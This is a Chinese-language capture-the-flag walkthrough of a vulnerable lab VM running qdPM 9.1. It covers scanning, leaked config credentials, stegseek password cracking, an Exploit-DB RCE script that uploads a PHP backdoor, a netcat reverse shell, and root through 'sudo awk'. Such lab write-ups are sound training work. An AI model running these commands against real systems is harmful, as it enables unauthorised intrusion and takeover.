nmap扫描----gobuster扫描网站目录----stegseek爆破图片隐写密码,获得网站用户密码----利用qdPM 9.1远程命令执行(任意文件上传)漏洞getshell----awk sudo提权
环境信息:靶机:192.168.101.61
攻击机:192.168.101.34
具体步骤: 1、nmap扫描sudo nmap -sV -sC -p- 192.168.101.61
很快扫描出两个端口:22(ssh)和80(http)
gobuster dir -u http://192.168.101.61/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
扫描到不少目录,备用
访问http://192.168.101.61/被重定向到http://192.168.101.61/index.php/login
从该页面可以发现这是基于qdPM 9.1的站点
Exploit Database - Exploits for Penetration Testers, Researchers, and Ethical Hackers上有一堆qdPM 9.1的漏洞
因为现在还登录不进去,所以先看一下这个qdPM 9.2 - Password Exposure (Unauthenticated)的漏洞
数据库的密码存放在yml文件中,可以未授权访问http:///core/config/databases.yml来获取
浏览器访问:http://192.168.101.61/core/config/databases.yml,并下载
下载后查看文件,发现username是otis,password是一句php代码""
这句php代码的意思就是打印出url编码的rush字符串,其实rush里面没有需要被url编码的特殊字符,应该输出就是rush,不过为了保险起见,可以在攻击机上执行一下这个php代码:
php -r "echo urlencode('rush');"
执行结果如我所料,就是rush
访问刚刚gobuster扫描出来的网站安装页面http://192.168.101.61/install/,点一下Database Config按钮,尝试重新安装网站。
来到http://192.168.101.61/install/index.php?step=database_config页面,将DB username的值填写为otis,DB password的值填写为rush,点击install Database
来到http://192.168.101.61/install/index.php?step=qdpm_config页面,填写Password,点击Save
上一步操作成功之后,来到登录页面http://192.168.101.61/index.php/login,尝试用用户名admin@localhost.com,以及刚刚设置的密码登录,结果还是登录不上去
访问gobuster爆破出的目录http://192.168.101.61/secret/,发现有一张图片
把图片保存到本地,然后就来到了我的未知领域:图片隐写
网上看到有大师用的是stegseek工具,查了一下非常方便快捷。
首先在github上(GitHub - RickdeJager/stegseek: Worlds fastest steghide cracker, chewing through millions of passwords per second)下载.deb文件,然后执行
sudo apt install ./stegseek_0.6-1.deb
即可成功安装
安装完成后执行
stegseek doubletrouble.jpg ./rockyou.txt
其中rockyou.txt是从/usr/share/wordlists/rockyou.txt.gz解压出来的巨大字典。
不到2s就爆破出结果了,结果放在文件doubletrouble.jpg.out中
查看doubletrouble.jpg.out的内容,发现用户名otisrush@localhost.com,密码otis666
来到网站登录页面http://192.168.101.61/index.php/login,用上一步中爆破出的用户名密码成功登录
步骤3中在Exploit Database - Exploits for Penetration Testers, Researchers, and Ethical Hackers上搜到了一堆qdPM 9.1的漏洞,其中包括远程命令执行漏洞(CVE-2020-7246),可以用来getshell
6.1 使用现成的exp可以用qdPM 9.1 - Remote Code Execution (RCE) (Authenticated) - PHP webapps Exploit这个exp来上传后门
整个下载和执行的过程命令如下:
wget https://www.exploit-db.com/download/50175
mv 50175 50175.py
chmod +x 50175.py
python3 ./50175.py -url http://192.168.101.61/ -u otisrush@localhost.com -p otis666
但是我发现这个exp中的异常换行特别多,还得自己把异常换行全改了才能执行
执行完之后,提示文件已经保存在http://192.168.101.61//uploads/users/下了
访问http://192.168.101.61/uploads/users/,这个710364-backdoor.php就是exp上传的后门
浏览器地址栏输入http://192.168.101.61/uploads/users/710364-backdoor.php?cmd=id,发现后门是有效的
从上面下载的exp中其实可以发现,后门的上传和http://192.168.101.61/index.php/myAccount页面有关。
访问这个页面,发现有一个可以上传文件的位置Photo
在攻击机上新建文件shell1.php,内容是php反弹shell
在http://192.168.101.61/index.php/myAccount页面上传这个文件,虽然上传后页面会像下面这样报错,但实际文件已经上传成功了
攻击机上nc监听1111端口
nc -nlvp 1111
在http://192.168.101.61/uploads/users/下找到刚上传的文件
点击该文件进行访问,攻击机上获得反弹shell
输入以下命令,把shell改成交互式的
python -c 'import pty; pty.spawn("/bin/bash")'
7、awk sudo提权
这个靶机的提权非常简单,我都没想到www-data居然会有sudo权限
sudo -l
发现当前用户www-data可以sudo执行/usr/bin/awk
在GTFObins上搜索一下,发现awk可以sudo提权awk | GTFOBins
照着执行一下
sudo awk 'BEGIN {system("/bin/sh")}'
得到root权限